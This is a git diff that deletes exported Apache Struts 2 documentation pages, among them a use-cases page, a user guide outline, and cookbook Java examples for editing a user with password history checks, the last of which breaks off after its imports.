-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Use Cases</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29364">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29364">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29364">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29364">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29364">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29364">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Under Construction</p></div></div>
-
-<p><span class="confluence-anchor-link" id="UseCases-Actors"></span></p>
-<h2 id="UseCases-Theprimaryactorsandtheirgeneralgoals">The primary actors and their general goals </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Actor              </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Goal </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> Client (Browser)    </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1 [...]
-
-
-
-<p><span class="confluence-anchor-link" id="UseCases-Business"></span></p>
-<h2 id="UseCases-BusinessUseCases(enduserapplications)">Business Use Cases (end user applications)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Priority</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p><a shape="rect" href="use-cases.html">Actor</a></p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Story or Brief</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Issue ID</p></th></tr><tr><th colspan="1" rowspan="1" cla [...]
-
-
-<p><span class="confluence-anchor-link" id="UseCases-Development"></span></p>
-<h2 id="UseCases-DevelopmentUseCases(applicationdevelopers)">Development Use Cases (application developers)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Priority</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p><a shape="rect" href="use-cases.html">Actor</a></p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Story or Brief</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Issue ID</p></th></tr><tr><th colspan="1" rowspan="1" cla [...]
-
-
-<p><span class="confluence-anchor-link" id="UseCases-Framework"></span></p>
-<h2 id="UseCases-FrameworkUseCases(frameworkdevelopers)">Framework Use Cases (framework developers)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Priority</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p><a shape="rect" href="use-cases.html">Actor</a></p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Story or Brief</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Issue ID</p></th></tr><tr><th colspan="1" rowspan="1" cla [...]
-
-
-<h3 id="UseCases-SeeAlso">See Also</h3>
-<ul><li><a shape="rect" href="requirements.html">Requirements</a></li><li><a shape="rect" class="external-link" href="http://www.StrutsUniversity.org/Use+Cases" rel="nofollow">More About Use Cases</a></li></ul></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/user-guide.html b/content/docs/user-guide.html
deleted file mode 100644
index 5fb5e10..0000000
--- a/content/docs/user-guide.html
+++ /dev/null
@@ -1,192 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>User Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="user-guide.html">User Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">User Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45047">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45047">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45047">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45047">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><ul class="alternate"><li><a shape="rect" href="introduction.html">Introduction</a>
-	<ul class="alternate"><li>Forward into the Past !</li><li>What is Struts 2 ?</li></ul>
-	</li><li><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Basic+Concepts&amp;linkCreation=true&amp;fromPageId=45047">Basic Concepts</a>
-	<ul class="alternate"><li>Overview</li><li>Request, Response</li><li>Model, View, Controller (MVC)</li><li>The Struts 2 Architecture</li><li><a shape="rect" href="the-struts-2-request-flow.html">The Struts 2 Request Flow</a></li></ul>
-	</li><li><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Building+Model+Components&amp;linkCreation=true&amp;fromPageId=45047">Building Model Components</a>
-	<ul class="alternate"><li>Overview</li></ul>
-	</li><li><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Building+View+Components&amp;linkCreation=true&amp;fromPageId=45047">Building View Components</a>
-	<ul class="alternate"><li>Overview</li><li>Bundled View Components
-		<ul class="alternate"><li>Using JavaServer Pages (JSP)</li><li><a shape="rect" href="using-freemarker-templates.html">Using Freemarker Templates</a></li><li>Using Velocity Templates</li><li>Other</li></ul>
-		</li><li>Internationalization</li><li>Using Tags in Your View Components
-		<ul class="alternate"><li>Object-Graph Navigation Language (OGNL)</li><li>JavaServer Pages Standard Tag Library (JSTL)</li><li>Form tags</li><li>Non-form tags</li><li>AJAX tags</li></ul>
-		</li><li>Themes</li><li>Templates</li></ul>
-	</li><li><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Building+Controller+Components&amp;linkCreation=true&amp;fromPageId=45047">Building Controller Components</a>
-	<ul class="alternate"><li>Overview</li><li>Using Plain Old Java Objects (POJO) as Controllers</li><li>Enhanced Controllers</li><li>Error Handling</li><li>Mapping
-		<ul class="alternate"><li>Using the Default Action Mapping</li><li>Using Wildcards in Action Mapping</li></ul>
-		</li><li>Type Conversion</li><li>Action Population</li><li>Interceptors</li><li>Validating the Controllers
-		<ul class="alternate"><li>Validator Types</li><li>Built-in Validators</li></ul>
-		</li></ul>
-	</li><li><a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Configuration&amp;linkCreation=true&amp;fromPageId=45047">Configuration</a>
-	<ul class="alternate"><li>Overview</li><li>Configuration by Convention
-		<ul class="alternate"><li>Zero Configuration: No More XML</li><li>Using Annotations for Configuration</li></ul>
-		</li><li>The Configuration Files
-		<ul class="alternate"><li>The Struts Configuration Descriptor: struts.xml
-			<ul class="alternate"><li>Splitting your Configuration Descriptor</li></ul>
-			</li><li>The Web Application Deployment Descriptor: web.xml
-			<ul class="alternate"><li>Configure the Struts Filter Instance</li><li>Configure the Struts Filter Mapping</li><li>Configure Struts Taglib</li></ul>
-			</li><li>Additional Struts 2 Settings: struts.properties</li></ul>
-		</li></ul>
-	</li><li>Plugins
-	<ul class="alternate"><li>Overview</li><li>Built-in Plugins</li></ul>
-	</li><li>Portlets
-	<ul class="alternate"><li>Overview</li><li>Configuration</li></ul>
-	</li><li>JavaServer Faces (JSF)
-	<ul class="alternate"><li>Overview</li></ul>
-	</li><li>Getting Started
-	<ul class="alternate"><li>Release Notes</li><li>Installation</li></ul>
-	</li></ul></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-checkboxes-editactionjava.html b/content/docs/using-checkboxes-editactionjava.html
deleted file mode 100644
index 0007bce..0000000
--- a/content/docs/using-checkboxes-editactionjava.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Checkboxes - EditAction.java</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes.html">Using Checkboxes</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes-editactionjava.html">Using Checkboxes - EditAction.java</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Checkboxes - EditAction.java</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14189">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14189">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14189">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14189">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14189">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14189">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package cash.action;
-
-import org.apache.log4j.Logger;
-
-import cash.config.ConfigManager;
-import cash.model.User;
-import cash.util.HibernateUtil;
-import cash.validator.PasswordFormatValidator;
-
-import net.sf.hibernate.LockMode;
-
-/**
- * Edit a user
- * @author Joel Hockey
- * @version $Id: $
- */
-public class EditAction extends HibernateAction {
-    private static final Logger LOG = Logger.getLogger(EditAction.class);
-
-    private User m_user = new User();
-    private String m_repeatPassword;
-
-    /** return user to be edited. */
-    public User getUser() { return m_user; }
-
-    /** @param pwd repeat of password */
-    public void setRepeatPassword(String pwd) { m_repeatPassword = pwd; }
-    /** @return repeat password */
-    public String getRepeatPassword() { return m_repeatPassword; }
-
-    /** override super */
-    public String execute() throws Exception {
-        LOG.debug("EditAction started");
-
-        // get original user from session, check that password is valid, update and save.
-        User u = (User)get("user");
-        HibernateUtil.currentSession().lock(u, LockMode.NONE);
-
-        // check that password has actually changed before updating
-        if (!PasswordFormatValidator.PASSWORD_MASK.equals(m_user.getPassword())) {
-            if (!u.changePassword(m_user.getPassword())) {
-                addFieldError("user.password", "password must be different to previous "
-                    + ConfigManager.getConfig().getUser().getNoRepeatHistory() + " passwords");
-                return INPUT;
-            }
-        }
-
-        m_user.copy(u);
-        HibernateUtil.currentSession().save(u);
-        User loginUser = (User)get(LoginAction.LOGIN_USER);
-        if (u.getId() == loginUser.getId()) {
-            set(LoginAction.LOGIN_USER, u);
-        }
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-checkboxes-userjava.html b/content/docs/using-checkboxes-userjava.html
deleted file mode 100644
index 66b47dd..0000000
--- a/content/docs/using-checkboxes-userjava.html
+++ /dev/null
@@ -1,760 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Checkboxes - User.java</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes.html">Using Checkboxes</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes-userjava.html">Using Checkboxes - User.java</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Checkboxes - User.java</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13877">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13877">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13877">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13877">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13877">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13877">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package cash.model;
-
-import net.sf.hibernate.HibernateException;
-
-import org.apache.log4j.Logger;
-
-import java.security.GeneralSecurityException;
-import java.security.MessageDigest;
-import java.security.SecureRandom;
-import java.util.ArrayList;
-import java.util.Date;
